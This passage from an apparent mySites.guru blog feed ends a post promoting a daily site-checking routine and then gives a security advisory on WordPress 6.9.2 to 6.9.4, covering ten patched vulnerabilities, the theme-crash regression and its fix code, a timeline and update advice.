&lt;p&gt;mySites.guru &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedules audits&lt;/a&gt; on a daily, weekly, or monthly basis. The deep &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; checks every line of code in every file on your webspace, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files you might not know about&lt;/a&gt;, using crowdsourced detection patterns that improve daily. If a hack is found on another subscriber&apos;s site, the detection rule is added to the system, and your next audit benefits from it.&lt;/p&gt;
&lt;h3&gt;Ask instead of clicking&lt;/h3&gt;
&lt;p&gt;If the morning check is really a list of questions you ask every day, you can ask them out loud. &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Connect your account to Claude or any MCP client&lt;/a&gt; and the whole triage becomes one message: which sites are out of date, which backups failed, what flagged suspect files overnight. Then queue the audits and backups in the same conversation, without opening a single tab.&lt;/p&gt;
&lt;h3&gt;Automatic extension updates&lt;/h3&gt;
&lt;p&gt;For extensions you trust to update without testing, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates&lt;/a&gt;. mySites.guru applies the update on the next snapshot when it detects a new version, and notifies you of the result. This is particularly useful for well-maintained security extensions and backup components that you want kept current at all times.&lt;/p&gt;
&lt;h3&gt;SSL monitoring on autopilot&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate checks&lt;/a&gt; run on every snapshot. mySites.guru downloads the certificate, checks the issuer, validates the full chain, and monitors the expiration date. You set a grace period (default is 2 days before expiry) and the system alerts you automatically. The SSL overview page lists all your sites sorted by certificate expiry date, with a CSV export for offline review.&lt;/p&gt;
&lt;h3&gt;Real-time file monitoring&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring system&lt;/a&gt; watches critical files like &lt;code&gt;configuration.php&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; using MD5 hash comparison on every page load. This isn&apos;t a scheduled scan; it fires in real time. By the time you sit down for your morning check, any overnight file changes have already been reported to your inbox.&lt;/p&gt;
&lt;h2&gt;What Are the Common Mistakes to Avoid?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Skipping the backup check.&lt;/strong&gt; It&apos;s easy to assume backups are running because you set up the schedule once. Hosting changes, extension updates, and disk space limits all break backup schedules silently. Check the backup page every morning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ignoring &quot;Sites Not Connected.&quot;&lt;/strong&gt; A disconnected site is a blind spot. You&apos;re not getting snapshots, you&apos;re not getting alerts, and you won&apos;t know about problems until someone tells you. Reconnect these sites immediately. The connector plugin may need reinstalling or the site may have moved to a new server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treating all updates equally.&lt;/strong&gt; A Joomla security release that patches an &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;actively exploited vulnerability&lt;/a&gt; isn&apos;t the same as a template update that adds a new colour option. Security updates go first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not using tags.&lt;/strong&gt; If you manage more than 20 sites and aren&apos;t using tags, you&apos;re making the morning check harder than it needs to be. Tags let you prioritise, filter, and batch-process sites by any criteria you choose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Checking sites one by one.&lt;/strong&gt; The whole point of a centralised dashboard is that you don&apos;t need to log into individual admin panels. If you find yourself opening Joomla admin URLs to verify things, you&apos;re working around the tool instead of with it. Trust the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot data&lt;/a&gt;, which checks &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 140 data points&lt;/a&gt; per site, twice a day.&lt;/p&gt;
&lt;h2&gt;Building the habit&lt;/h2&gt;
&lt;p&gt;A morning routine only works if you actually do it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Same time every day.&lt;/strong&gt; Pick a time (first thing, right after coffee, whatever works) and stick to it. The routine takes five minutes, so there&apos;s no excuse to skip it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make it a team responsibility.&lt;/strong&gt; If you have team members, rotate the morning check. The person on duty reviews the dashboard and raises anything that needs attention. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;unlimited team members&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use the command palette.&lt;/strong&gt; Once you learn Cmd+K, you won&apos;t go back to clicking through menus. It shaves seconds off every navigation, and those seconds add up over a 5-minute routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keep a log.&lt;/strong&gt; Not a formal document, just a quick note in Slack or your project management tool. &quot;Morning check: all clear&quot; or &quot;Morning check: 3 failed backups on Hetzner, investigating.&quot; It takes 10 seconds and gives your team visibility into the routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Act on problems the same morning.&lt;/strong&gt; The whole point of the morning check is early detection. If you spot a problem and add it to a backlog for &quot;later,&quot; you&apos;ve defeated the purpose. Fix what you can immediately, escalate what you can&apos;t, and track what needs scheduling.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you&apos;re not yet using mySites.guru, the &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month is free&lt;/a&gt;. Sign up, connect your sites, and try this morning routine on your own portfolio. The &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; is GBP 19.99 per month for unlimited sites, the same price since 2012.&lt;/p&gt;
&lt;p&gt;Everything described in this post is included in that single subscription: the dashboard, the uptime monitoring, the snapshot engine, the alert system, the backup scheduler, the update queue, the security audits, and the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL monitoring&lt;/a&gt;. No add-ons, no per-site fees.&lt;/p&gt;
&lt;p&gt;Five minutes a morning, hundreds of sites checked.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Ready to try it?&lt;/p&gt;
  &lt;p&gt;Sign up for a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free first month&lt;/a&gt;, connect your Joomla and WordPress sites, and try this morning routine on day one.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Official Security Advisories&lt;/a&gt; - Joomla-specific vulnerability disclosures&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation.html&quot;&gt;Akeeba Backup Documentation&lt;/a&gt; - the backup component mySites.guru integrates with for both Joomla and WordPress&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; - web application security best practices that complement daily monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Daily workflows are the foundation of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>workflow</category><category>agency</category><category>daily routine</category><category>joomla</category><category>site management</category><enclosure url="https://mysites.guru/_astro/how-to-build-morning-routine-checking-joomla-sites.CpyoRzKX.png" length="0" type="image/png"/></item><item><title>WordPress 6.9.2, 6.9.3, and 6.9.4: 10 Security Fixes, a Crash, and Incomplete Patches</title><link>https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/</guid><description>WordPress 6.9.2 crashed sites with a white screen, 6.9.3 fixed it, then 6.9.4 completed three missing security patches. What happened and how to recover.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;time&gt;Published: 10 March 2026&lt;/time&gt; - &lt;time&gt;Updated: 11 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Update to WordPress 6.9.4 now.&lt;/p&gt;
  &lt;p&gt;WordPress shipped three security releases in two days. 6.9.2 patched 10 vulnerabilities but broke sites. 6.9.3 fixed the crash. 6.9.4 (March 11) completes three patches that weren&apos;t fully applied - PclZip path traversal, Notes authorization bypass, and XXE in getID3. If you&apos;re on anything older than 6.9.4, update now.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2&lt;/a&gt; dropped on March 10, 2026 as a security-only release patching 10 vulnerabilities. Within hours, site owners started reporting blank websites after updating.&lt;/p&gt;
&lt;p&gt;The WordPress project pulled the release, reverting the version API and &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;download page&lt;/a&gt; back to 6.9.1. By 22:40 UTC the same day, &lt;a href=&quot;https://wordpress.org/download/&quot;&gt;6.9.3 was released&lt;/a&gt; with the theme compatibility fix included. Then on March 11, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped after the security team discovered that three of the original patches were incomplete.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you haven&apos;t updated yet, update to 6.9.4 now.&lt;/strong&gt; All 10 security patches are fully applied, and the regression that crashed sites is fixed.&lt;/p&gt;
&lt;h2&gt;The 10 WordPress Security Fixes in 6.9.2&lt;/h2&gt;
&lt;p&gt;These are the vulnerabilities patched in 6.9.2 and carried forward into 6.9.3. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Blind SSRF&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/sibwtf&quot;&gt;sibwtf&lt;/a&gt; and several other researchers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PoP-chain weakness&lt;/strong&gt; in the HTML API and Block Registry - reported by &lt;a href=&quot;https://github.com/hackerlo2003&quot;&gt;Phat RiO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regex DoS&lt;/strong&gt; in numeric character references - reported by Dennis Snell of the WordPress Security Team&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS in nav menus&lt;/strong&gt; - reported by &lt;a href=&quot;https://x.com/Savphill&quot;&gt;Phill Savage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AJAX &lt;code&gt;query-attachments&lt;/code&gt; authorization bypass&lt;/strong&gt; - reported by &lt;a href=&quot;https://www.vitalysim.com/&quot;&gt;Vitaly Simonovich&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS via &lt;code&gt;data-wp-bind&lt;/code&gt; directive&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XSS overriding client-side templates in admin&lt;/strong&gt; - reported by &lt;a href=&quot;https://hackerone.com/amosec&quot;&gt;Asaf Mozes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - reported independently by &lt;a href=&quot;https://profiles.wordpress.org/francescocarlucci/&quot;&gt;Francesco Carlucci&lt;/a&gt; and &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/kaminuma/&quot;&gt;kaminuma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XXE in the external getID3 library&lt;/strong&gt; - reported by &lt;a href=&quot;https://profiles.wordpress.org/regex33/&quot;&gt;Youssef Achtatal&lt;/a&gt;; a &lt;a href=&quot;https://github.com/JamesHeinrich/getID3/releases&quot;&gt;fix to getID3 itself&lt;/a&gt; has also been coordinated&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These fixes are being backported to all branches still receiving security updates (currently back to 4.7). WordPress 7.0 Beta 4, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;also released on March 10&lt;/a&gt;, includes all 10 security patches plus 49 additional updates (14 in the Editor, 35 in Core). &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 &quot;Armstrong&quot; shipped on 20 May 2026&lt;/a&gt; after the April delay; mySites.guru is fully compatible with it.&lt;/p&gt;
&lt;p&gt;Staying on 6.9.1 or earlier means your site is exposed to all 10 of these. Update to 6.9.4.&lt;/p&gt;
&lt;h2&gt;How WordPress 6.9.2 Crashed Sites&lt;/h2&gt;
&lt;p&gt;John Blackbourn, a WordPress core developer, responded in the &lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;support forums&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There appears to be an incompatibility with themes that use a certain theme framework under the hood.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A new security check in &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; added a &lt;code&gt;realpath()&lt;/code&gt; call that expects &lt;code&gt;$template&lt;/code&gt; to be a strict PHP string. Some theme frameworks pass a &quot;stringable object&quot; through the &lt;code&gt;template_include&lt;/code&gt; filter instead, an object with a &lt;code&gt;__toString()&lt;/code&gt; method. That&apos;s worked for years because PHP&apos;s &lt;code&gt;include&lt;/code&gt; handles stringable objects just fine. &lt;code&gt;realpath()&lt;/code&gt; does not. It gets an object, returns &lt;code&gt;false&lt;/code&gt;, and the template never loads. Blank page.&lt;/p&gt;
&lt;p&gt;The bug only affected the front end. wp-admin continued to work, so affected site owners could still log in and manage their sites.&lt;/p&gt;
&lt;h2&gt;The 6.9.3 Hot-Fix Release&lt;/h2&gt;
&lt;p&gt;John Blackbourn &lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;committed the fix&lt;/a&gt; to WordPress trunk, touching &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. The fix adds a check for stringable objects before calling &lt;code&gt;realpath()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$is_stringy = is_string( $template ) || ( is_object( $template ) &amp;amp;&amp;amp; method_exists( $template, &apos;__toString&apos; ) );
$template   = $is_stringy ? realpath( (string) $template ) : null;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stringable objects get cast to a string with &lt;code&gt;(string)&lt;/code&gt; before hitting &lt;code&gt;realpath()&lt;/code&gt;. Anything that&apos;s neither a string nor stringable gets set to &lt;code&gt;null&lt;/code&gt; and the security checks reject it as before. The same fix is applied to block pattern file paths in &lt;code&gt;class-wp-block-patterns-registry.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Props to Dennis Snell and Weston Ruter on the fix, committed by John Blackbourn. This fix shipped in 6.9.3.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;p&gt;The timeline on March 10, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;6.9.2 released&lt;/strong&gt; - 10 security patches ship&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites start crashing&lt;/strong&gt; - blank front pages reported within hours on certain theme frameworks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress pulls the release&lt;/strong&gt; - version API and download page revert to 6.9.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn confirms the bug&lt;/strong&gt; in the support forums and identifies the theme framework incompatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jos Klever posts a workaround&lt;/strong&gt; - replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; with the 6.9.1 version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;John Blackbourn commits the fix to trunk&lt;/strong&gt; - stringable object support added to template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;21:44 UTC - Otto (WordPress.org Tech Guy) confirms on Reddit&lt;/strong&gt; that 6.9.3 is coming shortly and that the affected frameworks are &quot;pretty rare&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~22:40 UTC - 6.9.3 goes live&lt;/strong&gt; - version API, download page, and releases archive all show 6.9.3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;March 11, 2026:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress Security Team discovers incomplete patches&lt;/strong&gt; - Thomas Kräftner&apos;s responsible disclosure confirms that three of the 10 security fixes from 6.9.2 weren&apos;t fully applied&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6.9.4 released&lt;/strong&gt; - completes the PclZip path traversal fix, Notes authorization bypass fix, and XXE fix in getID3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What did WordPress say officially about 6.9.3?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; describes this as a &quot;fast follow&quot; to 6.9.2. The page notes that passing stringable objects through the &lt;code&gt;template_include&lt;/code&gt; filter is not an officially supported method in WordPress - the filter is documented as only accepting strings. But enough themes relied on it that the team restored compatibility anyway.&lt;/p&gt;
&lt;p&gt;Only two files changed between 6.9.2 and 6.9.3: &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; and &lt;code&gt;wp-includes/class-wp-block-patterns-registry.php&lt;/code&gt;. All 10 security fixes from 6.9.2 remain intact.&lt;/p&gt;
&lt;h2&gt;The 6.9.4 Cleanup Release&lt;/h2&gt;
&lt;p&gt;&lt;time&gt;Updated: 11 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;p&gt;One day after the 6.9.2/6.9.3 saga, &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4&lt;/a&gt; shipped. From the &lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;release announcement&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The WordPress Security Team has discovered that not all of the security fixes were fully applied, therefore 6.9.4 has been released containing the necessary additional fixes.&lt;/p&gt;
&lt;p&gt;Because this is a security release, it is recommended that you update your sites immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So what happened? Three of the 10 security patches that shipped in 6.9.2 were incomplete. The vulnerabilities were partially addressed but not fully closed. Thomas Kräftner discovered this through responsible disclosure, and the WordPress security team confirmed it. Neither 6.9.2 nor 6.9.3 had complete fixes for these three issues - only 6.9.4 does.&lt;/p&gt;
&lt;p&gt;The three fixes that were incomplete in 6.9.2 and 6.9.3:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PclZip path traversal&lt;/strong&gt; - the original patch in 6.9.2 didn&apos;t fully close the path traversal vector. 6.9.4 updates &lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt; with the complete fix. Originally reported by Francesco Carlucci and kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authorization bypass on the Notes feature&lt;/strong&gt; - the REST API endpoint for comments (&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;) needed an additional authorization check. Originally reported by kaminuma.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XXE in the getID3 library&lt;/strong&gt; - the XML external entity vulnerability in &lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt; wasn&apos;t fully mitigated. A new version of the external getID3 library has also been released by James Heinrich. Originally reported by Youssef Achtatal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Three files changed between 6.9.3 and 6.9.4:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/wp-admin/includes/file.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/wp-includes/ID3/getid3.lib.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;If you updated to 6.9.3, you still need 6.9.4&lt;/p&gt;
  &lt;p&gt;6.9.3 fixed the theme crash from 6.9.2, but it carries the same incomplete security patches. The path traversal, authorization bypass, and XXE fixes are only fully applied in 6.9.4. Update now.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What did the WordPress security team learn from the retrospective?&lt;/h2&gt;
&lt;p&gt;&lt;time&gt;Updated: 25 March 2026&lt;/time&gt;&lt;/p&gt;
&lt;p&gt;Two weeks later, the WordPress Security Team published an &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;official retrospective&lt;/a&gt; on the whole saga.&lt;/p&gt;
&lt;p&gt;The biggest takeaway: &lt;strong&gt;there was no step in the minor release checklist to verify that all commits were successfully merged into the release branch.&lt;/strong&gt; Three of the 10 security commits made it into trunk but never landed in the 6.9 branch, which is how 6.9.2 shipped with incomplete patches. The team calls it a checklist oversight that had simply never been caught before.&lt;/p&gt;
&lt;p&gt;Backporting was painful too. Applying the fixes to 22 older branches (back to 4.7) took the better part of a week, partly due to contributor time constraints and partly because a bug in the WordPress.org SVN pre-commit hook blocked pushes to the 5.2 branch and earlier. The 6.0 branch (6.0.12) remains unreleased at time of writing due to an unresolved build issue.&lt;/p&gt;
&lt;p&gt;Some things did go well. Shipping 6.9.2 before starting backports got the fix out to the majority of sites faster. Releasing 7.0 Beta 4 alongside 6.9.3 meant beta testers weren&apos;t left on a known-insecure version, something that&apos;s only happened three times in WordPress&apos;s 20-year history.&lt;/p&gt;
&lt;p&gt;Going forward, the team plans to add merge verification to the release checklist, improve automation around backports, require built-asset testing before tagging, and add unit test coverage for stringable objects in the &lt;code&gt;template_include&lt;/code&gt; filter. Matt Mullenweg has also asked the team to explore AI-assisted tooling for reviewing changes going into releases to assess breakage risk.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites professionally, the &lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;full retrospective&lt;/a&gt; is worth reading. A 20-year-old release process still had gaps nobody noticed until three patches slipped through.&lt;/p&gt;
&lt;h2&gt;What should you do now?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update to WordPress 6.9.4.&lt;/strong&gt; It includes all 10 security patches (fully applied), the theme regression fix from 6.9.3, and the three corrected patches. There&apos;s no reason to stay on an older version.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.1 or earlier?&lt;/strong&gt; Update to 6.9.4. You&apos;re missing 10 security fixes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 with a broken front end?&lt;/strong&gt; Update to 6.9.4 from wp-admin (which still works) or replace &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; via SFTP, then update to 6.9.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On 6.9.2 or 6.9.3 and everything works?&lt;/strong&gt; Still update to 6.9.4. Three security patches are incomplete in those versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have auto-updates enabled?&lt;/strong&gt; Your site should pick up 6.9.4 automatically. Check to make sure it did. If you want more control over when updates happen, you can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic WordPress updates entirely&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;allow only minor security patches&lt;/a&gt; while blocking major version jumps.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After updating, run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scan&lt;/a&gt; to check whether any of these vulnerabilities were exploited before the patch landed on your site.&lt;/p&gt;
&lt;h2&gt;What if you manage large numbers of WordPress sites?&lt;/h2&gt;
&lt;p&gt;Replacing one file or clicking &quot;Update&quot; on one site is straightforward. But if you&apos;re an agency or freelancer responsible for 50, 100, or 200+ client sites, today was probably stressful. Which sites auto-updated to 6.9.2? Which are still on 6.9.1 and exposed to 10 unpatched vulnerabilities? Which ones have already picked up 6.9.4? You need answers to all of those questions, and you need them fast.&lt;/p&gt;
&lt;p&gt;That&apos;s what &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is built for. From a single dashboard you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;See every site&apos;s WordPress version at a glance&lt;/strong&gt; - instantly know which sites are on 6.9.1, 6.9.2, 6.9.3, or 6.9.4 without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt;&lt;/strong&gt; - we monitor WordPress core, plugins, and themes for known security issues and notify you when your sites are affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Push updates to all your sites at once&lt;/a&gt;&lt;/strong&gt; - roll out 6.9.4 across your entire portfolio in minutes instead of hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule updates&lt;/a&gt;&lt;/strong&gt; for maintenance windows instead of relying on auto-updates that break things at 2am on a Saturday&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt;&lt;/strong&gt; on any site to check for outdated software, misconfigurations, and known vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Days like today are exactly why we built mySites.guru. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start for free&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/25/wordpress-6-9-2-retrospective/&quot;&gt;WordPress 6.9.2 retrospective&lt;/a&gt; - the Security Team&apos;s post-mortem covering what went well, what didn&apos;t, and action items&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-4-release/&quot;&gt;WordPress 6.9.4 release announcement&lt;/a&gt; - official post confirming three incomplete patches, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-4/&quot;&gt;WordPress 6.9.4 release page&lt;/a&gt; - documentation listing the three files changed and the security fixes completed&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-3-and-7-0-beta-4/&quot;&gt;WordPress 6.9.3 and 7.0 Beta 4 announcement&lt;/a&gt; - official news post covering both releases, by John Blackbourn&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/wordpress-version/version-6-9-3/&quot;&gt;WordPress 6.9.3 release page&lt;/a&gt; - official &quot;fast follow&quot; release notes confirming the two-file fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-6-9-2-release/&quot;&gt;WordPress 6.9.2 release announcement&lt;/a&gt; - official post from the WordPress team&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/support/topic/no-pages-displaying-after-wp-updates-to-6-9-2/&quot;&gt;Support thread: &quot;No pages displaying after WP updates to 6.9.2&quot;&lt;/a&gt; - where John Blackbourn confirmed the bug and Jos Klever posted the workaround&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/core/version-check/1.7/?version=6.9&quot;&gt;WordPress version check API&lt;/a&gt; - now shows 6.9.4 as latest stable&lt;/li&gt;
